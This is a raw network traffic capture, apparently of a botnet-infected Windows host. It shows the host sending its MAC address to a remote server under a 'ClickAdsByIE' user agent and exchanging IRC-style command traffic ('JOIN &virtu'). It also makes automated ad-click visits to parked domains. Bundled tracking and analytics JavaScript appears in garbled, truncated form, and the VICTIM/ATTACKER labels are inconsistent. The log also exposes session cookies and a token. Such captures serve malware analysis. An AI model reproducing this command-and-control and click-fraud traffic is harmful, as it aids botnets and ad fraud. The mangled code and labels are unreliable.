Server: GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: higheducation.netConnection: Keep-Alive


VICTIM:  	GET /p6.asp?MAC=00-0C-29-51-70-2B&Publicer=bigbuy HTTP/1.1Host: a.95622.comUser-Agent: ClickAdsByIE 0.7.5Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/a.95622.com/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close 
ATTACKER:	GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: higheducation.netConnection: Keep-Alive 
ATTACKER:	GET /higheducation.net.js HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: higheducation.netConnection: Keep-AliveCookie: SessionID=34c265ab-3dbb-4a21-978e-3ec25badb21c; VisitorID=2d0ae5c8-7fca-4d21-a45a-e51bdebc9dae&Exp=3/2/2014 2:44:00 AM 
ATTACKER:	GET /css/dbstore.css?def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%23162d48%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%235c6986%7cBdyStyl%3aSecondaryColorComplement%3d%23ced2da%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%234b6ab0%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%234b6ab0%7cRelLink%3aHoverFontColor%3d%238f1b1b%7cRelLink%3aBackgroundColor%3d%23f6f6f6%7cRelLink%3aHoverBackgroundColor%3d%23fff%7cRelLink%3aDividerColor%3d%23bec8cf%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0004.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3d%23008000%7cResult%3aSidebarBorderColor% 
VICTIM:  	3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0004.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8&cssid=116 HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: higheducation.netConnection: Keep-AliveCookie: SessionID=34c265ab-3dbb-4a21-978e-3ec25badb21c; VisitorID=2d0ae5c8-7fca-4d21-a45a-e51bdebc9dae&Exp=3/2/2014 2:44:00 AM 
ATTACKER:	GET /tags/vs.js HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: search.dmtracker.comConnection: Keep-Alive 
ATTACKER:	GET /images/template/360x318/hk_20080207_alumnipages.jpg HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/misc/blank.gif HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	HTTP/1.1 200 OKCache-Control: max-age=2592000Content-Length: 5211Content-Type: application/x-javascriptLast-Modified: Tue, 13 Jul 2010 20:21:06 GMTAccept-Ranges: bytesETag: \855d81ecc822cb1:43c\Server: Microsoft-IIS/6.0X-Powered-By: ASP.NETP3P: policyref=\/w3c/p3p.xml\, CP=\ALL DSP LAW PSA ADM DEV TAI IVA HIS OUR IND\Set-Cookie: v1st=6C29801839D0319A; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.dmtracker.comDate: Wed, 02 Mar 2011 10:44:01 GMTConnection: keep-alive/Version: JT02/V1 of Instrumentation Toolkit Addition/Staging version with staging sensorsvar _JT=new Object();_JT.protocol=location.protocol;/override \https:\_JT.v=\JT01.02\;_JT.nspace=\pt\;_JT.log=\1\;/assign site code values_JT.site=new Array();_JT.site['sensor']='search.dmtracker.com/images/zig.gif';_JT.site['lt']=0;_JT.site['sensor2']='search.dmtracker.com/images/zig.gif';/DM Extended functions/By Aakshi Sehdave (Omniture)_JT.DM=function(){var m = document.getElementsByTagName(\meta\);for (z = 0; z < m.length; z++) {if (m[z].getAttribute(\scheme\) == \DMINSTR2\){_JT.SET(m[z].getAttribute(ame\),_JT.DM_stripChars(m[z].getAttribute(\content\)));}}}_JT.DM_Impr=function(){var o = document.getElementsByTagName(\div\);for (i = 0; i < o.length; 
ATTACKER:	 i++) {if (o[i].getAttribute(\id\) == \DMINSTR\){_JT.DM(); var str = o[i].getAttribute(\type\) + o[i].getAttribute(ame\);_JT.SET(\ev\,str);_JT.SEND_ext();}}}_JT.DM_Click=function(a){_JT.DM();var s = a.getAttribute(\type\) + \_click\; var str = s + a.getAttribute(ame\); _JT.SET(\ev\,str);_JT.SEND_ext();}_JT.DM_stripChars=function(a){var b=new Array(\>\,\<\,\;\,\'\,\`\,\^\,\[\,\]\,\{\,\}\,\#\,\\\\\\,\|\,\~\,\&\);for(var c=0;c_JT.L(a)?\\:a.substring(b,c!=null?c:_JT.L(a))};_JT.Q=function(a,b){if(_JT.hf==1)_JT.hf=0;else{a+=\&vid=\+Math.random();b=_JT.ii;if(b>=_JT.im)_JT.ii=0;_JT.ia[b]=\\;_JT.ia[b]=new Image();a=(a.split('+')).join('%2B');_JT.ia[b].src=a;_JT.last=a;_JT.ii++}};_JT.EL=function(a,b,c,d){if(a.addEventListener){a.addEventListener(b,c,false)}else if(a.attachEvent){a.attachEvent(((d==1)?\\:\on\)+b,c)}};_JT.EI=function(a,b,c){if(typeof eval(\window._JTOn\+a)==\function\)eval(\window._JTOn\+a+\(b)\)};/Edited to add call too _JT.DM by Aakshi Sehdave (Omniture)_JT.LT=function(e){if((e.which&&e.which==1)||(e.button&&e.button==1)){var a=document.all?window 
ATTACKER:	.event.srcElement:this;var x='',y='';if(e.pageX||e.pageY){x=e.pageX;y=e.pageY}else if(e.clientX||e.clientY){x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop}_JT.SET('lidx',x);_JT.SET('lidy',y);if(a.tagName&&a.tagName.toLowerCase()==\a\){_JT.SET(\lid\,encodeURI(a.href));_JT.SET(\ev\,\link\);_JT.DM(); _JT.SEND(\Link\,a)}}};_JT.SET=function(a,b,c){_JT.da[a]=(c==0)?b:_JT.ES(b)};_JT.SEND=function(a,b){if(_JT.D(a))_JT.EI(a,b);a=\\;for(var i in _JT.da){if(typeof _JT.da[i]!=\function\){a+=\&\+i+\=\;a+=_JT.da[i]}}_JT.Q(_JT.rq+a);_JT.da=_JT.NA()};_JT.HALT=function(){_JT.hf=1}/Added another Send function for EXtended functions which uses a different sensor by Aakshi Sehdave (Omniture)_JT.SEND_ext=function(a,b){if(_JT.D(a))_JT.EI(a,b);a=\\;for(var i in _JT.da){if(typeof _JT.da[i]!=\function\){a+=\&\+i+\=\;a+=_JT.da[i]}}_JT.Q(_JT.rq2+a);_JT.da=_JT.NA()};_JT.HALT=function(){_JT.hf=1}/Edited to add call too _JT.DM by Aakshi Sehdave (Omniture)_JT.P=function(v,n,s,r){v=11;n=navigator;s=screen;r=_JT.NA();_JT.SET(\t\,document.title);_JT.SET(\,eval(\document\+\.ref\+\errer\));_JT.SET(\l\,(n.userLanguage)?n.userLanguage:(n.language)?n.language:\\);if(window.screen){v=12;_JT.SET(\ss\,s.width+\*\+s.height);_JT.SET(\sc\,(s.colorDepth)?s.colorDepth:s.pixelDepth)}if(r.toSource||(_JT.I(n.appName,\Microsoft\)>-1&&r.shift))v=13;_JT.DM();eva 
ATTACKER:	l(\try{throw v=14}catch(e){}\);if((new Date()).toDateString)v=15;if(r.every)v=16;_JT.SET(\jv\,v);if(document.body&&document.body.addBehavior){eval(\try{document.body.addBehavior('#default#clientCaps');_JT.SET('ct',document.body.connectionType)}catch(e){}\);eval(\try{document.body.addBehavior('#default#homePage');_JT.SET('hp',document.body.isHomePage(location.href)?'y':'n')}catch(e){}\)}};_JT.hf=0;_JT.ii=0;_JT.im=10;_JT.ia=_JT.NA();for(var i=0;i<_JT.im;i++){_JT.ia[i]=new Image()};_JT.da=_JT.NA();_JT.vs=eval(\window.\+_JT.nspace);_JT.vs=(_JT.D(_JT.vs))?_JT.vs:new Object();if(_JT.D(_JT.site))for(var i in _JT.site){if(_JT.D(_JT.vs[i])==0)_JT.vs[i]=_JT.site[i]};if(typeof _JT.vs==\object\){if(_JT.D('Init'))_JT.EI('Init');for(var i in _JT.vs){if(typeof _JT.vs[i]!='function'&&i!='sensor'&&i!='sensor2')_JT.da[i]=_JT.ES(_JT.vs[i])}_JT.rq=_JT.protocol+\/\+_JT.vs['sensor']+\?Log=\+_JT.log+\&v=\+_JT.v;_JT.rq2=_JT.protocol+\/\+_JT.vs['sensor2']+\?Log=\+_JT.log+\&v=\+_JT.v;if(_JT.vs['lt']&&_JT.vs['lt']==\1\){_JT.t1=document.links;_JT.t2=0;for(_JT.t2=0;_JT.t2<_JT.L(_JT.t1);_JT.t2++)_JT.EL(_JT.t1[_JT.t2],'mousedown',_JT.LT)}_JT.P();_JT.SEND(\PageView\);_JT.EI(\PostPageView\,_JT.last)}/DM Onload functions/By Aakshi Sehdave (Omniture)function addToWindowOnLoad(funct){var oldOnload = window.onload;if (typeof window.onload != 'function') {window.onload = funct;}else {window.onload = function() {oldOnload();funct();};}}addTo 
ATTACKER:	WindowOnLoad(_JT.DM_Impr); 
ATTACKER:	GET /Images/Shared/relLinkBkg.gif HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/buttons/0004.gif HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/bullets/0004.gif HTTP/1.0Accept: */*Referer: http:/higheducation.net/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
VICTIM:  	\000\000N! 
VICTIM:  	\000\000N#\000\000\000\00658,1,0 
ATTACKER:	PING :j. 
ATTACKER:	PONG :j. 
VICTIM:  	JOIN &virtu 
ATTACKER:	GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: thebeststores.orgConnection: Keep-Alive 
ATTACKER:	GET /thebeststores.org.js HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: thebeststores.orgConnection: Keep-AliveCookie: SessionID=f980508e-a0d0-4810-befe-95019029d55a; VisitorID=611c6ee2-4f9d-4045-b94c-75f43a855e13&Exp=3/2/2014 2:44:25 AM; yahooToken=qs=06oENya4ZG1YS6vOLJwpLiFdjG9wRAvrfkS6k-CLb9x1R2tPgyUPiKThsun2VjX6ClA70gjMlwYpf0s8P9qLD2OSe7I4e9yVimIw6WOkf_YhM5X2sAuXMwgdbTIDm6HZr-Y1K37M6Wl1jxXFvKR8caAm-zuJrO7dcX452ZR8A-BXDlmCR7edOlwKfBxJCBUlcd,YT0zO2s9NQ.. 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=thebeststores.org&tid=1016&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%23046380%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%2393CACA%7cBdyStyl%3aSecondaryColorComplement%3d%23608383%7cBdyStyl%3aTertiaryColor%3d%23F4F0F7%7cBdyStyl%3aTertiaryColorComplement%3d%230e5fd8%7cPgHdr%3aFont%3dVerdana%7cPgHdr%3aFontSize%3d18%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23046380%7cRelLink%3aBackgroundColor%3d%23f4f2ef%7cRelLink%3aHoverBackgroundColor%3d%23fff%7cRelLink%3aDividerColor%3d%23ddd%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0004.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23666%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3d%23008000%7cSrchBox%3aTextboxWidth%3d275%7c 
VICTIM:  	SrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0004.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: thebeststores.orgConnection: Keep-AliveCookie: SessionID=f980508e-a0d0-4810-befe-95019029d55a; VisitorID=611c6ee2-4f9d-4045-b94c-75f43a855e13&Exp=3/2/2014 2:44:25 AM; yahooToken=qs=06oENya4ZG1YS6vOLJwpLiFdjG9wRAvrfkS6k-CLb9x1R2tPgyUPiKThsun2VjX6ClA70gjMlwYpf0s8P9qLD2OSe7I4e9yVimIw6WOkf_YhM5X2sAuXMwgdbTIDm6HZr-Y1K37M6Wl1jxXFvKR8caAm-zuJrO7dcX452ZR8A-BXDlmCR7edOlwKfBxJCBUlcd,YT0zO2s9NQ.. 
ATTACKER:	GET /images/template/360x318/hk_20080207_cheapbags.jpg HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/misc/blank.gif HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/buttons/0004.gif HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /cc937746-e21a-4d17-8655-5b10f0b95740.ippi?g=cc937746-e21a-4d17-8655-5b10f0b95740 HTTP/1.0Referer: http:/thebeststores.org/Content-Length: 0User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: thebeststores.orgConnection: Keep-AliveCookie: SessionID=f980508e-a0d0-4810-befe-95019029d55a; VisitorID=611c6ee2-4f9d-4045-b94c-75f43a855e13&Exp=3/2/2014 2:44:25 AM; yahooToken=qs=06oENya4ZG1YS6vOLJwpLiFdjG9wRAvrfkS6k-CLb9x1R2tPgyUPiKThsun2VjX6ClA70gjMlwYpf0s8P9qLD2OSe7I4e9yVimIw6WOkf_YhM5X2sAuXMwgdbTIDm6HZr-Y1K37M6Wl1jxXFvKR8caAm-zuJrO7dcX452ZR8A-BXDlmCR7edOlwKfBxJCBUlcd,YT0zO2s9NQ.. 
ATTACKER:	GET /images/Themes/T101/bullets/0004.gif HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /ga.js HTTP/1.0Accept: */*Referer: http:/thebeststores.org/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.google-analytics.comConnection: Keep-Alive 
ATTACKER:	HTTP/1.0 200 OKLast-Modified: Mon, 14 Feb 2011 06:43:40 GMTDate: Wed, 02 Mar 2011 07:00:37 GMTExpires: Thu, 03 Mar 2011 07:00:37 GMTContent-Type: text/javascriptVary: Accept-EncodingX-Content-Type-Options: nosniffAge: 13429Cache-Control: max-age=86400, publicServer: GFE/2.0(function(){var q=true,t=false,aa=window,u=undefined,ba=String,w=Math,ca=\push\,ea=\cookie\,x=\charAt\,z=\indexOf\,fa=\gaGlobal\,ga=\getTime\,ha=\toString\,A=\window\,B=\length\,C=\document\,D=\split\,E=\location\,ia=\href\,F=\substring\,H=\join\,I=\toLowerCase\;var ja=\_gat\,ka=\_gaq\,la=\4.8.9\,na=\_gaUserPrefs\,oa=\ioo\,K=\&\,L=\=\,N=\__utma=\,pa=\__utmb=\,qa=\__utmc=\,ra=\__utmk=\,sa=\__utmv=\,ta=\__utmz=\,ua=\__utmx=\,va=\GASO=\;var wa=function(){var k=this,l=[],g=\ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\;k.Dc=function(m){l[m]=q};k.Vb=function(){for(var m=[],j=0;j=0};g.xd=function(){return g.\$a(\Firefox\)&&![].reduce};g.mb=function(m){if(!m||!g.\$a(\Firefox\))return m;m=m.replace(/\|\/g,\ \);for(var j=0,p=m[B];j-1){g=k[z](g,j);if(g<0)g=k[B];m=k[F](j+l[z](L)+1,g)}}return m},Ba=function(k){var l=t,g=0,m,j;if(!Q(k)){l=q;for(m=0;m-1)}}return l},T=function(k,l){var g=encodeURIComponent;if(g instanceof Function)return l?encodeURI(k):g(k);else{O(68);return escape(k)}},Ca=function(k,l){var g=decodeURIComponent,m;k=k[D](\+\)[H](\ \);if(g instanceof Function)try{m=l?decodeURI(k):g(k)}catch(j){O(17);m=unescape(k)}else{O(68);m=unescape(k)}return m},U=function(k,l){return k[z](l)>-1};function Ea(k){if(!k||\\==k)return\\;for(;k[x](0)[B]>0&&\ \\\\t\[z](k[x](0))>-1;)k=k[F](1);for(;k[x](k[B]-1)[B]>0&&\ \\\\t\[z](k[x](k[B]-1))>-1;)k=k[F](0,k[B]-1);return k}var W=function(k,l){k[ca]||O(94);k[k[B]]=l},Fa=function(k){var l=1,g=0,m;if(!Q(k)){l=0;for(m=k[B]-1;m>=0;m--){g=k.charCodeAt(m);l=(l<<6&268435455)+g+(g<<14);g=l&266338304;l=g!=0?l^g>>21:l}}return l},Ga=function(){return w.round(w.random()*2147483647)},Ha=function(){};var Ia=function(k,l){this.Ra=k;this.eb=l},Ja=function(){function k(g){var m=[];g=g[D](\,\);for(var j,p=0;p0)d=d[D](\^\)[0];i=d[D](\:\);d=i[1];r=parseInt(i[0],10);if(!e&&r0?m(i):\\;if(p.n){c=j.jc(P[C][ea],a,p.n,c,i);a= 
ATTACKER:	\2\+a;e=i>0?m(p.v):\\}a+=c;a=P.mb(a);if(a[B]>2E3){O(69);a=a[F](0,2E3)}e=a+\; path=\+p.f+\; \+e+j.Ua();P[C].cookie=e};j.jc=function(a,c,i,e,d){var r=\\;d=d||p.v;e=g([e,j.r+d*1],i);r=S(a,\2\+c,\;\);if(!Q(r)){a=g(l(a,c,i,q),i);r=r[D](a)[H](\\);return r=e+r}return e};j.Ua=function(){return Q(p.b)?\\:\domain=\+p.b+\;\}};var La=function(k){function l(f){f=Aa(f)?f[H](\.\):\\;return Q(f)?\-\:f}function g(f,n){var s=[],o;if(!Q(f)){s=f[D](\.\);if(n)for(o=0;o=1){n[2]=w.min(w.floor(n[2]*1+o),g.Ob);n[3]=s}}if(e||!d||n[2]>=1){if(!e&&d)n[2]=n[2]*1-1;n[1]=n[1]*1+1;d=\utmwv=\+ 
ATTACKER:	la;s=\&utmn=\+Ga();e=d+\e\+s;a=d+s+(Q(f.hostname)?\\:\&utmhn=\+T(f.hostname))+(g.Q==100?\\:\&utmsp=\+T(g.Q))+a;if(0==b||2==b){f=2==b?h:r||h;p&&j.qb(g.ia,a,e,f,q)}if(1==b||2==b){c=\&utmac=\+c;e+=c;a+=c+\&utmcc=\+l.ac(i);if(X.Qa){i=\&aip=1\;e+=i;a+=i}a+=\&utmu=\+xa.Vb();p&&j.qb(l.hc(),a,e,r)}}}m.pa(n[H](\.\));m.va()};l.ac=function(a){for(var c=[],i=[N,ta,sa,ua],e=m.h(),d,r=0;r0)for(h=0;h0;)h+=a--^c++;return Fa(h)} 
ATTACKER:	};var Z=function(k,l,g,m){function j(a){var c=\\;c=a[D](\:/\)[1][I]();if(U(c,\/\))c=c[D](\/\)[0];return c}var p=m,h=this;h.a=k;h.lb=l;h.r=g;h.Ya=function(a){var c=h.ca();return new Z.s(S(a,p.Aa+L,K),S(a,p.Da+L,K),S(a,p.Fa+L,K),h.M(a,p.ya,\(not set)\),h.M(a,p.Ba,\(not set)\),h.M(a,p.Ea,c&&!Q(c.G)?Ca(c.G):u),h.M(a,p.za,u))};h.ab=function(a){var c=j(a),i;i=a;var e=\\;i=i[D](\:/\)[1][I]();if(U(i,\/\)){i=i[D](\/\)[1];if(U(i,\?\))e=i[D](\?\)[0]}i=e;if(U(c,\google\)){a=a[D](\?\)[H](K);if(U(a,K+p.oc+L))if(i==p.nc)return q}return t};h.ca=function(){var a,c=h.lb,i,e=p.P;if(!(Q(c)||\0\==c||!U(c,\:/\)||h.ab(c))){a=j(c);for(var d=0;d9?f[F](b+1)*1:0;r++;f=0==f?1:f;a.vb([n,h.r,f,r,d.H()][H](\.\));a.xa()}}}}}};Z.s=function(k,l,g,m,j,p,h){var a=this;a.p=k;a.R=l;a.W=g;a.q=m;a.O=j;a.G=p;a.Na=h;a.H=function(){var c=[],i=[[\cid\,a.p],[\csr\,a.R],[\gclid\,a.W],[\ccn\,a.q],[\cmd\,a.O],[\ctr\,a.G],[\cct\,a.Na]],e,d;if(a.cb())for(e=0;e0&&i<=a.hb){e=T(e);d=T(d);if(e[B]+d[B]<=64){j.o[i]=[e,d,r];j.T();b=q}}return b};j.mc=function(i){if((i=j.o[i])&&1===i[2])return i[1]};j.Tb=function(i){var e=j.o;if(e[i]){delete e[i];j.T()}};j.Pb=function(){c.t(8);c.t(9);c.t(11);var i=j.o,e,d;for(d in i)if(e=i[d]){c.k(8,d,e[0]);c.k(9,d,e[1]);(e=e[2])&&3!=e&&c.k(11,d,\\+e)}}};var Ra=function(){function k(o,v,y,M){if(u==h[o])h[o]={};if(u==h[o][v])h[o][v]=[];h[o][v][y]=M}function l(o,v,y){if(u!=h[o]&&u!=h[o][v])return h[o][v][y]}function g(o,v){if(u!=h[o]&&u!=h[o][v]){h[o][v]=u;var y=q,M;for(M=0;M2147483648)return t;var a=g.gb;a.t(14);a.V(14);(h=a.k(14,1,\pl\)&&a.sa(14,1,h))&&g.Bc();m&&m.isValidLoadTime!=u&&m.setPageReadyTime();return t};g.Cb=function(){if(!g.Kc())return t;if(P[A].top!=P[A])return t;if(g.zb()){var h=P[A],a=\load\,c=g.zb;if(h.addEventListener)h.addEventListener(a,c,t);else h.attachEvent&&h.attachEvent(\on\+a,c)}return q}};var \$=function(){};\$.Xb=function(k){var l=\gaso=\,g=P[C][E].hash;if(g&&1==g[z](l))k=S(g,l,K);else k=(g=P[A].name)&&0<=g[z](l)?S(g,l,K):S(k.h(),va,\;\);return k};\$.wc=function(k,l){var g=(l||\www\)+\.google.com\;g=\https:/\+g+\/analytics/reporting/overlay_js?gaso=\+k+K+Ga();var m=\_gasojs\,j=P[C].createElement(\script\);j.type=\text/javascript\;j.src=g;if(m)j.id=m;(P[C].getElementsByTagName(\head\)[0]||P[C].getElementsByTagName(\body\)[0]).appendChild(j)};\$.load=function(k,l){if(!\$.tc){var g=\$.Xb(l),m=g&&g.match(/^(?:\\|([-0-9a-z.]{1,30})\\|)?([-.\\w]{10,1200})\$/i);if(m){l.Gc(g);l.Uc();X._gasoDomain=k.b;X._gasoCPath=k.f;\$.wc(m[2],m[1])}\$.tc=q}};var Ua=function(k,l,g){function m(){if(\auto\==e.b){var b=P[C].domain;if(\www.\==b[F](0,4))b=b[F](4);e.b=b}e.b=e.b[I]()}function j(){m();var b=e.b,f=b[z](\www.google.\)*b[z](\.google.\)*b[z](\google.\);return f||\/\!=e.f||b[z](\google.org\)>-1}function p(b,f,n){if(Q(b)||Q(f)||Q(n))return\-\;b=S(b 
ATTACKER:	,N+a.a+\.\,f);if(!Q(b)){b=b[D](\.\);b[5]=\\+(b[5]?b[5]*1+1:1);b[3]=b[4];b[4]=n;b=b[H](\.\)}return b}function h(){return\file:\!=P[C][E].protocol&&j()}var a=this,c=za(a),i=u,e=new Ja,d=t,r=u;a.q=k;a.r=w.round((new Date)[ga]()/1E3);a.m=l||\UA-XXXXX-X\;a.Pa=P[C].referrer;a.aa=u;a.d=u;a.A=t;a.J=u;a.e=u;a.Sa=u;a.ja=u;a.a=u;a.j=u;e.n=g?T(g):u;a.ic=function(){return Ga()^a.J.\$b()&2147483647};a.cc=function(){if(!e.b||\\==e.b||one\==e.b){e.b=\\;return 1}m();return e.Ia?Fa(e.b):1};a.Zb=function(b,f){if(Q(b))b=\-\;else{f+=e.f&&\/\!=e.f?e.f:\\;var n=b[z](f);b=n>=0&&n<=8?\0\:\[\==b[x](0)&&\]\==b[x](b[B]-1)?\-\:b}return b};a.oa=function(b){var f=\\;f+=e.X?a.J.Mc():\\;f+=e.Z&&!Q(P[C].title)?\&utmdt=\+T(P[C].title):\\;var n;n=u;if(P[A]&&P[A][fa]&&P[A][fa].hid)n=P[A][fa].hid;else{n=Ga();P[A].gaGlobal=P[A][fa]?P[A][fa]:{};P[A][fa].hid=n}f+=\&utmhid=\+n+\&utmr=\+T(ba(a.aa))+\&utmp=\+T(a.Ac(b));return f};a.Ac=function(b){var f=P[C][E];b&&O(13);return b=u!=b&&\\!=b?T(b,q):T(f.pathname+f.search,q)};a.Qc=function(b){if(a.F()){var f=\\;if(a.e!=u&&a.e.B()[B]>0)f+=\&utme=\+T(a.e.B());f+=a.oa(b);i.C(f,a.m,a.a)}};a.Sb=function(){var b=new La(e);return b.ma(a.a)?b.Lc():u};a.Va=c(\_getLinkerUrl\,52,function(b,f){var n=b[D](\#\),s=b,o=a.Sb();if(o)if(f&&1>=n[B])s+=\#\+o;else if(!f||1>=n[B])if(1>=n[B])s+=(U(b,\?\)?K:\?\)+o;else s=n[0]+(U(b,\?\)?K:\?\)+o+\#\+n[1];return s});a.pc=function(){var b=a.r,f=a.j,n=f.h(),s=a.a+\\,o=P[A]?P[A][f 
